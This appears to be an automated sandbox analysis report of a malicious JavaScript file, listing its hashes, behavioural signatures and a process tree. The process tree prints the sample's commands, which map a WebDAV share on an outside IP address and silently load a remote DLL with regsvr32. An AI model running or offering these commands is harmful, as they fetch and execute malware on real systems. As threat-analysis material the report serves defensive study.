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Analysis

  • max time kernel
    92s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 01:25

General

  • Target

    30557306321113626945.js

  • Size

    5KB

  • MD5

    cff872d6669a626c019b2e1c157d1410

  • SHA1

    a1eaabf62b9be46406f832e3e2d78b935c645bc6

  • SHA256

    5095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae

  • SHA512

    59cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e

  • SSDEEP

    96:PUbwTauP7naqAnaq5dekQKJLx2LcIqMHWC2vTlmVYqBpWkW9kEWg:yukQKJLffC24qR9kxg

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js" "C:\Users\Admin\\uvgedr.bat" && "C:\Users\Admin\\uvgedr.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3152
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\392.dll
          3⤵
            PID:1100

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\uvgedr.bat

        Filesize

        5KB

        MD5

        cff872d6669a626c019b2e1c157d1410

        SHA1

        a1eaabf62b9be46406f832e3e2d78b935c645bc6

        SHA256

        5095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae

        SHA512

        59cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e